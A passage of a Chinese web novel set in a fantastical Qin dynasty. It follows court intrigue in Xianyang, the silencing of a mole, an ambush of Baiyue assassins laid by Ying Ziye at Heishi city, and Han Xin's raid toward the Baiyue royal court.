将作少府官署内,气氛凝重如铁。
章邯按剑立于巨大的漕运图前,身后是将作少府一众官员,为首的正是左监柏鲁,他低眉顺眼,姿态恭谨。
“南疆战事吃紧,粮秣不容有失。”
章邯声音冷硬,手指重重敲在图上标注的位置,“明日辰时,第一批粮队由此路发往南疆。”
“柏左监,由你亲自督办此事,沿途需大张旗鼓,严密护卫,不得有误!!!”
柏鲁立刻躬身:“下官遵命!定当竭尽全力,确保粮队安然抵达!”
章邯目光扫过众人,继续道:“然,为防万一,本将军另设一路。”
他手指移向旁边灵渠古道上更为险峻隐蔽的“落星滩”。
“此路更为隐秘,由本将军亲信押送真正主力粮草。”
“此乃绝密,任何人不得泄露,违令者——斩!!!”
众人凛然,齐声应诺。
柏鲁低着头,眼中却飞快闪过一丝难以察觉的异色,随即又被完美的恭顺所掩盖。
章邯将一切尽收眼底,不动声色:“都去准备吧,柏左监,落星滩一路,关乎大军颜面,莫要让陛下和丞相失望。”
“将军放心!”
柏鲁郑重保证,转身退下时,步伐似乎比平时稍快了一丝。
待众人离去,章邯对阴影处微微颔首。
几名黑冰台精锐如同鬼魅般悄无声息地跟上柏鲁的方向。
明修栈道,暗度陈仓。
鱼饵已洒下,只待鱼儿咬钩!
……
十八公子府密室。
血腥与能量混杂的气息几乎凝成实质。
胡亥缓缓睁开眼,瞳孔深处竟有一抹诡异的赤红与幽蓝交织的光芒一闪而逝。
他摊开双手,感受着体内奔腾的力量,虽然经脉依旧隐隐作痛,但那种掌控强大力量的快感让他沉醉!
“可惜…太少了!”
他贪婪地舔了舔嘴唇,意犹未尽地看着地上已化为灰烬的玛瑙和火精碎片。
“若是能再多些…本公子何须再看任何人脸色!”
就在这时。
密室机关轻响。
一名影狩如同影子般滑入,跪地低声禀报:“殿下,宫中密报。”
“李斯与章邯正在筹备新一轮粮草输送,路线定为…落星滩!”
“我们埋在将作少府的‘钉子’柏鲁,正准备将此讯传给百越。”
胡亥脸上的陶醉瞬间僵住,随即转为极致的暴怒!
“蠢货!**!!”
他猛地一脚踹翻身旁的青铜香炉,炉中灰烬漫天飞扬!!
“落星滩?!那地方再隐秘也还在灵渠古道边上!”
“前段时间才在那杀得尸山血海,现在还敢往那运粮?”
“章邯和李斯是猪吗?!这明摆着是挖好了坑等着人去跳!”
他气得浑身发抖,眼中刚刚平复的能量再次躁动起来:“柏鲁那个废物!这点伎俩都看不出来?还想传递消息?他是怕自己死得不够快,还是怕牵连不到本公子?!”
狂怒的咆哮在密室内回荡。
紧接着,胡亥猛地揪住自己的头发,神经质地来回踱步,眼中杀机四溢。
“不行…绝不能让他坏事!”
他猛地停下,看向影狩,声音冰冷刺骨,“去!立刻去!”
“让柏鲁‘意外’暴毙!”
“做得干净点,就让他…嗯,就让他因为急于筹备粮草,劳累过度,**官署!!!”
他绝不能让自己好不容易埋下的暗桩,因为这种愚蠢的行为暴露,甚至顺藤摸瓜查到他这里!
现在的他,还需
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要时间消化力量,隐藏羽翼。
“遵命!”
影狩心领神会。
“快去!”胡亥不耐烦地挥手,“办砸了,你也不用回来了!”
影狩无声退去。
密室内重归寂静。
胡亥摩挲着指尖,感受着体内新增的力量,阴冷地笑了起来。
“打吧,杀吧…等你们两败俱伤,本公子的力量彻底稳固……”
他的笑声在密室里回荡,充满了疯狂与算计。
鹬蚌相争,渔翁得利。
而他,要做的就是这个最后的渔翁!!
……
夜色浓重。
章邯如同融入阴影的石雕,静立在街角,冰冷的目光锁定着左监柏鲁府邸的方向。
几名黑冰台精锐如同鬼魅般散布四周,封锁了所有可能的出入路径。
“将军,”
一名黑衣探子无声贴近,低语道:“目标半刻钟前回府后,便有信鸽从其后院偏房飞出,已被我们的人射下。”
探子递上一枚细小竹管。
章邯捏碎竹管,展开绢条,上面正是前线的粮草信息。
他眼中寒光一闪:“动手拿人!”
“砰!”
府门被暴力撞开,黑冰台锐士如潮水般涌入。
章邯按剑大步踏入,然而府内一片死寂,并无预想中的慌乱。
一名锐士从内室快步走出,脸色凝重:“将军…人**。”
章邯眉头紧锁,疾步走入内室。
只见柏鲁直接挺地倒在书案后,眼睛圆瞪,嘴角残留着白沫,手边还翻倒着一杯水。
初步查看,竟无任何外伤,像是突发急症而亡。
“查!”
章邯声音冷得掉渣。
黑冰台的人迅速搜查整个府邸。
很快,回报接连传来。
“书房有密格,但已被清理干净,空无一物。”
“后院鸽笼也有近期使用的痕迹。”
“府中仆役皆言主人近日为粮草事操劳过度,时常心悸。”
一切痕迹都指向“劳累**”,干净得过分。
章邯走到柏鲁的尸体前,俯身仔细查看,指尖在其颈侧微微按压,又掰开其口鼻嗅了嗅。
他眼神微眯!
虽做得隐秘,但他几乎能断定,这是某种极难察觉的**引发的**症状,绝非自然死亡。
有人灭口!
而且是在黑冰台的严密监视下,抢先一步灭了口!
章邯缓缓直起身,环顾这间被打扫得过于“干净”的书房。
对方反应之快,手脚之干净,远超他的预料。
这绝不是一个区区将作少府左监能有的能量和手段。
柏鲁背后,必然还藏着更深、更狡猾的鱼!!!
“清理现场,对外宣称,柏左监为国事操劳,不幸病逝。”
章邯冷声下令,语气平静,但熟悉他的人都听得出那平静下的骇人寒意。
“那粮草一事…”副手低声询问。
“计划不变。”
章邯转身向外走去,玄色披风在夜风中扬起,“明日起,落星滩与隐龙涧,双线并进,护卫兵力增加一倍!”
他步出府邸,抬头望向咸阳宫的方向,目光深邃。
暗流比想象中更深。
但既然对方已经出手,就总会再露出马脚。
猎手,需要有足够的耐心。
第219章 请君入瓮!
南疆。
军帐内药香未散,扶苏脸色仍有些苍白,但已能独立行走。
他对着赢子夜深深一揖:“此番若非六弟,为兄恐怕已……”
“此恩,扶苏铭记!!!”
赢子夜正看着南疆地图,头也未抬,只随意摆了摆手:“兄长无恙便好,份内之事。”
恰在此时。
赵弋苍面色凝重地快步闯入,甚至来不及行礼:“主上!紧急军情!”
“一夜之间,我军有七名都尉、两名校尉遭暗杀!”
“皆是被人于营帐内一击毙命,现场几乎不留痕迹!”
扶苏闻言色变:“何等贼人如此猖獗?!”
赢子夜黑眸微眯,指尖在地图上轻轻一点:“手法如此干净利落,还专挑咱们中层将领下手……”
“估计是某个训练有素的**组织,意在搅乱我军指挥。”
他抬眸看向赵弋苍:“死的将领,是否皆驻守在正在夺取的‘黑石城’周边?”
赵弋苍一愣,旋即重重点头:“主上明察!正是!”
“果然。”
赢子夜冷笑,“黑石城是通往百越王庭的要冲,物资汇集。”
“他们杀周边将领,既为制造恐慌,也为下一步动作铺垫……”
“若我所料不差,他们的下一个目标,便是咱们的粮草物资,或者…更高阶的将领。”
他当即下令:“赵弋苍。”
“卑职在!”
“传令王离,即日起拿下黑石城!重点看押囤积于城内的粮草军械。”
“守备布置得外紧内松,尤其是粮仓附近…多设明哨,暗哨减半!”
赵弋苍瞬间领会:“主上是要…请君入瓮?”
“不止。”
赢子夜眼中寒光闪烁,“告诉王离,把他那身显眼的铠甲穿好,每日定时在城楼巡视。”
“他不是一直想找百越主力决战么?”
“这次,本公子给他送些功劳!”
众人听明白了,这是要以王离本人和满城物资为饵!
“再传讯噬牙狱,”
赢子夜继续道,“让他们派‘鬼卒’过来,混入守军之中。”
“暗河的人,由你亲自挑选好手,埋伏在粮仓和城主府周边!”
“记住,我要活的舌头,至少一个。”
“诺!”
赵弋苍领命,却又迟疑,“只是…王离将军那边…”
“他若连这点风险都扛不住,也不配领军了。”
赢子夜语气平淡却不容置疑,“照做便是。”
赵弋苍不再多言,重重抱拳离去。
帐内只剩下赢子夜与扶苏。
扶苏面露忧色:“六弟,此计是否过于行险?王离将军乃国之栋梁…”
“兄长,”赢子夜打断他,目光仍在地图上巡弋,“毒蛇藏于暗处,才是最危险的,既然他们忍不住要露头…”
他指尖重重敲在黑石城上,“那就剁了他们的蛇头!!!”
……
百越禁地深处,血池翻涌。
天泽大半个身躯浸泡在粘稠如汞的血色池水中,池底沉积的无数毒虫骸骨和灵药正不断释放出阴寒能量,与他体内躁动的地心火精艰难地抗衡、融合。
他脸色依旧苍白,但那双蛇瞳中的光芒却越发锐利骇人!
焰灵姬静立池边,低声汇报着。
“刚收到的风,无双鬼已收拢残部三万,退守**涧,正在重整旗鼓。”
“另外…百越王庭传来王令。”
她顿了顿。
“你父王措辞严厉,训斥你…作战不利,损兵折将,令百越蒙羞。”
“他已亲自部署,派了山鬼、毒鸠去阻截蒙毅,又命犀魁、象力剿灭秦军偏师,还出动了‘影瘴’…”
天泽听着,嘴角却缓缓勾起一抹讥诮冰冷的弧度,甚至发出了低沉的冷笑,震得血池泛起涟漪。
“训斥本君?”
他声音沙哑,带着一种近乎癫狂的自信。
“狰那个老家伙,也就只能趁着现在摆摆他百越王的架子了。”
他缓缓抬起一只手,看着指尖萦绕的,比以往更加凝练恐怖的赤红能量!
“等他所谓的部署被赢子夜碾碎的时候,他就会明白…”
天泽猛地攥紧拳头,能量爆开一团刺目火花。
“谁才是真正能带领百越走向新生的人!!!”
“传令无双鬼,固守待命,其余一切,不必理会。”
他重新闭上眼,全力吸收着血池能量。
“待本君彻底炼化火精,破关而出之时…”
血池因他骤然提升的气息而沸腾!!
“今日之辱,今日之失,本君要赢子夜…用血来偿!!”
……
与此同时。
漓江水道。
王贲的楼船舰队如黑色山脉般压在水面。
老将军伫立舰首,花白须发在江风中飞扬,虎目扫过麾下正在分流的战船。
“将军,各分队已按计划散入支流。”
一名副将披挂铁甲,立于王贲身侧,俯身抱拳禀报。
“只是…分兵是否太过?若遇百越水鬼…”
王贲抬手打断他,目光如炬。
“这是六公子的军令,百越瘴疠之地,大军铺开反受其制,化整为零,方能清剿残余,震慑宵小。”
他话虽如此,眼底却藏着一丝不易察觉的凝重。
分兵令下得急,其中几条路线甚至颇为蹊跷……
无人注意到,一艘看似普通的通讯快艇上,一名低阶校尉借着检查缆绳的掩护,悄然与另一名船工交换了一个眼神。
不久后,三四个身份各异的低阶军士、随船水手,甚至押运粮草的小吏,陆续在偏僻河湾里以修整为由,暗暗聚到了一处废弃渔棚。
油灯在破败的渔棚里摇曳,昏黄的光投在几张阴冷的面孔上。
“蛇岭那边查过了。”
校尉压低嗓音,眼神锐利。
“谷底空空,只剩些枯骨与雾气。”
“那枯骨涧呢?”
老兵把竹简推到灯下,指尖敲了敲其中蜿蜒的水线。
“那山势逼仄,水脉深沉,若真有个什么九魔封在底下,最像就是这里……”
“可也有人说在百蛮冢。”
另一个人冷声插话,呼吸急促:“那地方阴气最重,连鸟兽都不敢靠近。”
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r>有人舔了舔干裂的嘴唇,低声道。
“消息得送回去,我们不是去揭开,只要查明是哪一处!”
油灯火苗跳动,仿佛也随着这句话微微一颤。
几人对视,眼神阴鸷而坚决。
“枯骨涧、百蛮冢……都标出来。”
“交给公子决断!”
他们很快将蜡丸重新封好,分散收入袖中,推门而出,没留半点声息。
只余渔棚内的油灯摇摇欲灭,仿佛在畏惧他们口中提及的禁忌所在。
……
黑石城头。
残破的百越战旗半截垂挂在城墙缺口处,血迹斑驳,被烈火灼得焦黑。
新的玄鸟大旗在鼓声与呐喊声中高高升起,猎猎作响。
城墙上的血迹尚未干涸。
碎裂的盾牌与折断的长矛横七竖八散落在垛口。
空气里,仍残留着炙热的血腥味。
王离按剑而立,一身锃亮的重甲在夕阳下反射着冷硬的光泽,盔甲表面还有未曾完全拭净的血痕。
他刻意挺直脊背,目光如电地扫视着城外连绵的山林,神情傲然,却在用力掩饰方才鏖战后的疲惫。
完美扮演着一个刚刚夺取要地,志得意满的年轻将领!
城门口。
倒塌的门楼残桓犹在。
百越战士的尸骸被成堆拖拽到一边。
军士们正用水桶冲刷血迹,泥土被染得暗红。
城内街巷狼藉,残屋冒着余烟。
哀嚎声、哭喊声在角落里断断续续回荡,却很快被秦军铁蹄的节奏淹没。
表面上,这里守备森严,一队队百战穿甲兵巡逻往复,脚步声沉重整齐。
粮仓与军械库外围更是明哨林立,火把通明,斧戟森冷。
在暮色中映得城池仿佛一头吞噬一切的巨兽!
然而,在那些阴影角落、废弃民居、甚至粮仓本身的结构夹层中,无数双更加冰冷的眼睛正无声地注视着一切。
暗河夜枭与噬牙狱的鬼卒早已如同蛛网般布满了这座城的每一个致命节点!
赢子夜一袭玄衣,静立于城主府最高处的阁楼窗前,从这里可以俯瞰大半个城池。
他手中把玩着一枚青铜虎符,黑眸平静无波,仿佛只是在欣赏落日余晖。
“饵已撒下。”
赵弋苍如铁塔般立在他身后阴影中,声音压得极低。
“王离将军今日已按计划巡视三次城防,‘粮草重地’的布防图也已‘意外’泄露。”
“传出去的图纸,上有明哨暗桩,巡逻交替,甚至兵员数量,全都齐全……”
“而布防里最大的破绽,正落在粮仓北侧的夹层。”
“只要百越王派来的人稍加留意,必会以为找到了天赐良机。”
赢子夜微微颔首,指尖摩挲着虎符上冰冷的纹路。
“这伙人最喜欢这种看似严密实则漏洞百出的防守。”
他目光转向城外那片逐渐被暮色吞噬的山林,仿佛能穿透黑暗,看到那些正在悄然逼近的鬼魅身影。
“告诉下面的人,沉住气。”
赢子夜的声音轻得像一阵风。
“等鱼…咬死钩!!!”
第220章 **团的对弈!
子时,黑石城万籁俱寂,唯有风声掠过残破的城垛,发出呜咽般的低鸣。
赢子夜独坐于城主府最高处的飞檐之上,玄衣几乎与夜色融为一体,手中不知何时多了一盏青铜酒樽,酒液在清冷月光下泛着微光。
他并未饮酒,只是静**着,黑眸如深潭,俯瞰着下方看似松懈,实则杀机四伏的城池!
巡逻队的火把规律地移动。
打更人的梆子声遥远而清晰。
突然,他指尖的酒樽微微一顿!!
杯中酒液,以极细微的幅度,荡开了一圈几乎不可察觉的涟漪。
几乎同时!
一道黑影如轻烟般落在他身后檐角,是赵弋苍!
“主上。”
赵弋苍的声音压得极低,带着铁石摩擦般的质感。
“鱼来了。”
“东南、西北两个方向,至少三十人,身手极佳,正借阴影潜行。”
“看路线,分三股,一股直扑王离将军下榻的城西别院,一股往城中央粮仓,最后一股…动向不明,似乎在寻找更高价值的目标。”
赢子夜缓缓放下酒樽,唇角勾起一丝冰冷的弧度。
“这是来找我的吗?”
他轻声开口,语气带着淡淡的讥诮。
“告诉下面,按计划收网!王离那边,护住他性命,但让他吃点苦头,演得像些。”
“粮仓…放他们进去一半再杀!”
“那第三股?”
赵弋苍问。
赢子夜的目光扫过脚下寂静的城主府,以及更远处自己所在的这座高阁。
“他们不是在找更值钱的目标么?”
他声音平淡。
“让他们找到这里来。”
赵弋苍眼中闪过一丝嗜血的光芒。
“诺!”
黑影悄然消散。
赢子夜再次提起酒樽,对着空中那轮冷月微微一敬,仿佛在祭奠即将到来的死亡。
城中,杀戮的序幕,于无声处悄然拉开!
……
此刻的黑石城,是一座巨大的陷阱。
鬼面的刺客如同滴入清水的墨点,无声无息地散入城池的阴影之中。
他们训练有素,彼此间靠着手势与细微的虫鸣鸟叫沟通,精准地扑向各自的目标。
城西别院、中央粮仓,以及那最高处的阁楼!
然而,他们每一步,都落在了另一张早已张开的、更黑暗的网上!!
……
城西别院。
两名鬼面刺客如壁虎般游上院墙,**已扣在指尖,瞄准了院内那个正在灯下“研读兵书”的披甲身影!
王离。
就在**即将爆射而出的刹那,他们脚下的阴影突然活了!
两只覆盖着铁甲的手猛地探出,精准地攥住了他们的脚踝,巨力爆发,瞬间将两人拖入墙根阴影深处!
连惨叫都被捂死在喉咙里,只剩下令人牙酸的骨骼碎裂声!!
……
中央粮仓。
五名鬼面刺客用特制药液悄无声息地融断了粮仓大锁。
为首者打了个手势,三人潜入内部,两人在外望风。
就在内部三人刚拿出火折子的瞬间,头顶粮袋突然炸开,并非粮食,而是漫天呛人的石灰粉!
与此同时,所有门窗被无形气劲轰然关闭!!!
惨白的粉末中,淬毒的短刃从不可思议的角度刺出,精准地割开喉咙!
外面的两人刚察觉不对,脖颈已是一凉,鲜血喷溅在身后的墙壁上,两名噬牙狱鬼卒如融化般重新没入黑暗。
……
长街之上。
一队鬼面刺客正沿屋檐疾行,直扑城主府。
突然,最前方那人脚下一空,看似牢固的瓦片竟是个精巧的翻板!!
他刚坠下,下方黑暗中便传来数道机括弹射的闷响和肉体被穿透的噗嗤声!
后方刺客立即变向,却踩中了早已涂抹在瓦楞上的透明粘液。
身形一滞的刹那,两侧屋脊后无声探出**机,三棱**箭贯穿眼窝!!!
而与此同时。
最高阁楼之下。
三名气息最为阴冷的鬼面,终于突破了层层阻碍,摸到了阁楼底层。
他们互相比了个手势,一人望风,两人如烟般飘上楼梯。
望风者紧贴墙壁,呼吸放到最轻。
却突然觉得…后颈一凉!
他猛地回头,只见一个戴着哭笑鬼面具的身影正贴在他身后,**已齐根没入他的颈椎!
他甚至没看清对方是何时出现的。
楼梯上的两人听到身后极其轻微的倒地声,心知不妙,加速上冲!
就在他们即将破门而入的刹那,头顶的木板突然消失!
不是破碎,而是如同机关门一样滑开,露出上面一层。
赢子夜依旧坐在窗前,慢条斯理地斟酒,甚至没看他们一眼。
而他们面前,是四名手持怪异弯刃、眼神空洞的暗河**。
没有怒吼,没有废话。
只有一瞬间极致爆发的身影交错!!
空气仿佛被利刃撕裂,寒意如暴雨般倾泻而下!
血光溅射在昏暗的阁楼梁柱上,瞬间便被夜风吹散成细密的雾。
杀意在狭窄的空间内炸开,如同一座随时崩塌的火山!
每一步都是生死!
每一次呼吸都是最后一次!
他们拼命撕咬,狠厉到近乎自毁的疯狂,所有力气都倾泻在那一瞬。
这是最纯粹的杀戮,没有任何余地,也没有退路。
刀刃切割肉体的闷响,以及濒死的嗬嗬声!
两名鬼面刺客倒下,喉咙、心口同时被洞穿。
四名暗河**一人轻伤,手臂被划开一道血口。
而仅剩的几名鬼面刺客在城中各处几乎同时遭遇了致命打击!
他们精通的暗杀术,在对方更诡异、更默契、更毫无底线的反暗杀面前,显得苍白无力!
陷阱、**、机关、合击……
噬牙狱和暗河的人将“杀戮”二字诠释到了极致。
“撤!”
不知是哪个幸存的鬼面发出了绝望而尖锐的虫鸣信号。
残存的七八道黑影从城市各个角落疯狂暴起,不再掩饰身形,用尽全力向着城外遁逃!
高阁之上,赢子夜杯中酒尽。
他轻轻放下酒樽。
“追。”
一声令下,整座黑石城仿佛苏醒的狰狞巨兽。
无数黑影从屋檐、地沟、水井、甚至尸体堆中爆射而出,如同嗅到血腥味的食人鱼群,向着那些溃逃的鬼面刺客衔尾追杀而去!
夜色中,一场更残酷的追杀,瞬间蔓延至城外的山林。
……
黑石城的城墙在身后迅速缩小,如同蛰伏的巨兽轮廓。
残存的七名鬼面刺客将速度提升到极致,如同受惊的狸猫,一头扎进城外漆黑如墨的山林!
他们不敢走山路。
专挑荆棘密布、崎岖难行的野径,试图借助复杂的地形甩开追兵。
然而,身后的索命之音如影随形!
暗河与噬牙狱的**们仿佛本就是黑暗的一部分,他们的追击并非狂猛的奔袭。
而是更令人窒息的那种,如同潮水般不急不缓地漫延!
无论你跑得多快,回头总能看见那些鬼魅般的身影在不远处无声飘荡。
并且,正在一点点地合围逼近!
“分开走!”
鬼面首领影瘴嘶声低吼,声音因恐惧和疲惫而变形。
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七人瞬间散开,如同炸开的烟花,射向不同方向。
这是绝境下最无奈的选择,赌的是追兵兵力分散,能有一线生机!
但他们低估了猎手的数量和经验。
一名鬼面刺客擅长山林潜行,他利用藤蔓在一棵棵巨树间荡跃,试图彻底摆脱地面追踪。
就在他再次荡起,身体悬空的瞬间,下方阴影中一道几乎看不见的钢丝骤然绷紧!
“噗——!”
血光乍现!
那钢丝锋利无比,竟将他双腿齐膝削断!
他惨叫着坠落,还未落地,几枚**已精准地钉入他的咽喉和心口,叫声戛然而止。
树下,一名噬牙狱鬼卒面无表情地收起钢丝。
另一名鬼面刺客利用对地形的熟悉,钻入一个极其隐蔽的兽穴,屏住呼吸,听着外面的脚步声掠过。
他刚松一口气,却感觉脖颈一凉,有什么东西滑过。
他猛地伸手去抓,抓到了一条冰凉滑腻的毒蛇!
毒牙已深深嵌入他的血管。
他惊恐地想叫,喉咙却迅速麻痹,只能绝望地感受着生命流逝。
洞穴深处,一双属于驱蛇人的冰冷眼睛缓缓闭上。
第三名刺客布下精巧的绊索陷阱和毒钉,企图阴杀追兵。
他躲在树后,紧张地等待着触发的声音。
等了许久,毫无动静。
他小心翼翼探头查看,陷阱完好无损。
但就在他探头的刹那!!
一枚从他正上方树冠无声落下的铁蒺藜,精准地砸穿了他的天灵盖。
一名暗河**如落叶般从树上飘下,踩过他的尸体,继续前行。
追逐战变成了林间的**!
鬼面刺客们用尽毕生所学——
伪装、陷阱、毒物、反追踪……
但他们的每一个举动,似乎都被预判!
对手像是更老练、更残忍的猎人,冷静地拆解他们的挣扎,然后予以致命一击!
影瘴听着四周同伴此起彼伏、又迅速湮灭的短促惨叫,心胆俱裂。
他发现自己成了被故意驱赶的猎物!
无论怎么变向,总有一股若有若无的气息吊在身后,逼着他往一个方向跑!
那是通往百越腹地的方向,但也是更深入死亡陷阱的方向!
他猛地冲出一片灌木,前方是一条湍急的溪流。
涉水而过能掩盖气味,是他唯一的机会!
他毫不犹豫地扑入水中。
冰凉的河水刺激着他的神经!
就在他游到溪流中央时,脚下似乎踩到了什么滑腻的东西。
不是石头!
他猛地一惊,想跃起却已来不及!
数根隐藏在河水下的坚韧水草如同活物般猛地缠住他的双脚脚踝,巨大的力量将他狠狠拽向河底!
他拼命挣扎,拔出**割向水草,却发现水草坚韧异常,且越缠越紧!
更多的水草从昏暗的河底蔓延上来,缠向他的手臂、腰部。
这不是自然的水草!
是百越沼泽中特有的**藤!
怎么会出现在这里?!
他惊恐地抬头,透过晃动的水面,看到溪边不知何时站了几个黑影,正冷漠地俯视着他在水底徒劳的挣扎。
其中一个,似乎轻轻挥了挥手。
**藤骤然发力,将他彻底拖入河底淤泥深处!
最后,只剩下一串绝望的气泡涌上水面,破裂开来。
溪边,一名暗河**收起一个控制**藤的特制哨子,对着同伴点了点头。
山林重归寂静,仿佛什么都没有发生过。
只有空气中尚未散尽的淡淡血腥味,以及那些重归阴影的猎手们,证明着今夜这场冷酷的追杀。
第221章 百越王庭,近在咫尺!
黎明前的黑暗最是浓稠。
山林间弥漫着血与露水混合的腥气。
最后一名鬼面刺客背靠着一面布满苔藓的绝壁,胸膛剧烈起伏,手中淬毒的短刃已崩出缺口。
他周身遍布细密的伤口,眼神如同困兽,充满了绝望与疯狂!
他已经被逼到了绝路!!
四周的阴影里,一道道身影缓缓浮现。
暗河**们的铁面具在微弱的天光下泛着冷光。
噬牙狱鬼卒们则如同从地府爬出的无常,手中的奇门兵刃滴落着粘稠的血液!
他们沉默地围拢,步伐稳定,没有丝毫多余的动作,仿佛一群正在合围猎物的冰冷机器!
没有叫嚣,没有恐吓,只有令人窒息的杀意如同实质般挤压着空气!!
鬼面刺客发出一声嘶哑的咆哮,做最后的困兽之斗。
毒刃划出刁钻的弧线,扑向看似最薄弱的一环!
一名手持双刺的暗河夜枭。
然而,就在他动的同时,所有猎手也动了!
侧翼一名噬牙狱鬼卒甩出飞爪,精准扣住他持刀的手腕,猛地向后一扯!
几乎同时,正面的暗河夜枭双刺如**出洞,直取心窝!
鬼面刺客拧身勉强避开要害,肋下却被划开深可见骨的血槽。
他吃痛后退,脚下却突然一紧。
不知何时布下的钢丝绊索已然触发!
身体失衡前倾的刹那,头顶树冠坠下一张布满倒钩的铁网!
“噗嗤!噗嗤!”
利器入肉的声音密集响起!
不止来自铁网。
左右两侧,两柄长刀同时贯穿了他的腰腹!
身后,一柄短戟劈开了他的脊椎!
所有的攻击在刹那间完成,默契得如同一人所为。
鬼面刺客的身体被死死钉在原地,挂在刀戟与铁网之间,鲜血如同小溪般汩汩涌出,染红了身下的苔藓。
他眼中的疯狂迅速黯淡,只剩下死寂。
一名暗河高手上前,手中刀光一闪。
一颗戴着鬼面具的头颅飞起,被精准地接住!
所有**同时收刃后撤,无声无息,如同退潮般融入阴影,留下原地那具迅速冰冷的无头尸体。
林间重归死寂,唯有浓重的血腥味冲天而起,宣告着这场黑暗狩猎的终结。
猎杀完毕,无一活口!!!
……
中军大帐内,血腥气尚未散尽。
暗河统领赵戈苍单膝跪地,声音冷硬如铁。
“禀主上,鬼面刺客共计四十一人,已尽数诛绝,无一漏网。”
赢子夜黑眸沉静,指尖在沙盘上轻轻一点,尚未开口。
“报——!急讯!”
又一传令兵疾奔入帐,声音急促。
“百越山鬼、毒鸠两部出现于黑风岭一线,依仗山林瘴气,正在全力阻滞蒙毅将军主力推进!”
“其军势诡异,毒蛊开路,我军前锋受挫!!!”
“报——!”
“西线急讯!百越犀魁、象力部**重兵,正猛攻我军侧翼防线,赵佗将军部压力巨大,请求支援!”
帐内气氛瞬间紧绷!
百越王的反扑,来了!
赢子夜眼中却毫无波澜,反而掠过一丝锐芒。
他猛地起身,玄衣拂过沙盘,声音斩钉截铁,如同金铁交击。
“来的正好!”
“传令公输仇!机关兽军团前出黑风岭,给本公子正面碾过去!”
“什么毒蛊瘴气,在钢铁洪流面前,皆是齑粉!”
“命钟离昧率**骑营居左翼,樊哙率重步兵居右翼,护住机关兽两肋!”
“但凡有敢从山林中冒头偷袭者,给本公子用箭雨和斧头招呼回去!!!”
“告诉王离!”
赢子夜的声音陡然拔高,带着一股煊赫的战意。
“他不是一直渴求硬仗吗?机会来了!让他顶到西线最前沿,让那些蛮子知道——”
他五指猛然收拢,仿佛捏碎了空气中无形的敌人。
“大秦锐士,面前无蛮!!!”
“诺!”
帐内诸将轰然应命,血气上涌,战意瞬间被点燃至顶点!!!
命令如旋风般传出大营。
很快,大地开始震颤!
黑风岭方向,公输仇的机关兽军团再次发出咆哮,钢铁巨兽无视毒雾瘴气,如同移动的山峦,向着百越的防线发起了无可阻挡的正面冲击!
左右两翼,箭矢如蝗,刀盾如墙,将一切试图侧击的百越伏兵死死挡住。
而西线,王离的百战穿甲兵如同红色的铁流,悍然撞上了百越最为精锐狂暴的犀魁、象力部队。
重甲与蛮力的碰撞,瞬间爆发出最原始、最血腥的厮杀!!!
王离一马当先,**如龙,狂笑着挑飞一名百越力士。
“蛮夷!也配与我大秦甲士角力?!”
他身后,整齐的盾墙轰然合拢!
厚逾寸铁的重盾交错叠加,宛若一面流血的铜墙铁壁。
令百越人一次又一次的狂吼冲撞都无济于事!
而每一面盾牌后,都是一名悍不畏死、沉默如铁的穿甲士。
他们肩膀紧贴,呼吸如一,仿佛组成了一具庞大无比的战争巨兽!
当盾墙稳固之时,森冷的长矛便自缝隙中齐齐刺出!!!
矛尖闪烁寒芒,带着不可抗拒的力道,将扑上来的蛮士一排排贯穿,鲜血顺着矛杆汩汩流淌!
铁盾的每一次推进,都像是碾压在百越战士胸膛上的山岳,让他们窒息、绝望,却无法撼动分毫!!!
整个战场在这种轰然推进下,仿佛被割裂开来。
百战穿甲兵的重甲在血光中闪耀冷芒,步伐沉重而整齐,如同来自地狱的铁骑。
带着不容抗拒的压迫感。
一寸一寸……
将百越最骄傲的精锐碾入泥沼!
决战的高潮,已然到来!!!
……
百越腹地。
一处刚经历短暂而血腥厮杀的山谷中,硝烟尚未散尽。
秦军士卒们正快速打扫着战场。
虽然人人面带疲惫,甲胄染血,但眼神却异常明亮,闪烁着兴奋与近乎崇拜的光芒。
他们的目光,不时投
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向谷口那个负手而立的年轻将领——
韩信!
这几日,他们在这位沉默寡言的韩将军带领下,如同鬼魅般穿梭在百越人视为天堑的险山恶水之间!
避实击虚,声东击西!
时而如疾风骤雨般摧毁哨卡粮寨。
时而如轻烟般消散让追兵扑空。
韩信对地形的利用、时机的把握,乃至敌军心理的揣摩,已到了神乎其技的地步!!
他们这支孤军,竟真的在百越腹地撕开了一条口子,如入无人之境!!!
“将军,清点完毕!”
一名校尉快步上前,声音因激动而有些沙哑。
“此战歼敌三百,焚毁粮草一批,我军轻伤十七人,无人阵亡!”
无人阵亡!
又是一场近乎完美的奇袭!
周围的士兵们闻言,胸膛都不自觉地挺高了几分。
韩信转过身,脸上并无多少喜色,依旧是一片沉静,唯有那双深邃的眼眸中,锐利如鹰隼的光芒一闪而逝。
他目光扫过麾下这些经历连番恶战却士气高昂的将士。
“就地休整,一个时辰。”
他的声音平静,却带着不容置疑的穿透力。
“检查兵甲,处理伤口,补充饮水。”
士兵们立刻依令行事,动作麻利,秩序井然。
韩信走到一旁,摊开那张已被摩挲得有些发毛的兽皮地图。
几名将领自发地围拢过来。
韩信的手指在地图上快速移动,最终点在一处标记着险峻山形符号的区域。
“下一个目标,鹰愁涧。”
他声音不高,却让所有将领精神一振!
鹰愁涧,那是通往百越王庭的最后一道天然屏障!
“只带两日口粮。”
韩信继续道,语气没有丝毫起伏:“余下辎重,全部焚毁!!”
众将闻言,脸色皆是一凛。
只带两日口粮,深入敌后,这意味着没有任何退路,要么奇袭成功,要么……
但现场,没有任何人提出异议!
连日来的胜利,已让他们对这位主将产生了绝对的信任!
“将军,鹰愁涧天险,强攻恐怕…”
副将谨慎提醒。
“谁说要强攻?”
韩信抬眼,嘴角似乎勾起一丝极淡的、近乎冷酷的弧度。
“我们要走的路,百越人自己都未必知道。”
他手指在地图上划出一条极其隐秘,几乎贴着悬崖峭壁的曲折线路。
“休整结束,即刻出发。”
“此次行军,衔枚疾走,遇小股之敌,避!遇大队之敌,绕!”
“我们的目标只有一个!”
他手指猛地戳在地图上鹰愁涧后那片代表王庭的区域!
“撕开它!!!”
所有将领只觉得一股热血直冲头顶,重重抱拳。
“诺!”
一个时辰后,山谷中升起焚烧辎重的黑烟。
韩信麾下的这支孤军,如同淬火的利刃,再次悄无声息地没入茫茫山林,直插百越最后的心脏。
距离王庭,已近在咫尺!!!
第222章 绝对力量的碾压!!!
咸阳。
十八公子府。
血腥与能量残留的浑浊气息尚未完全散去。
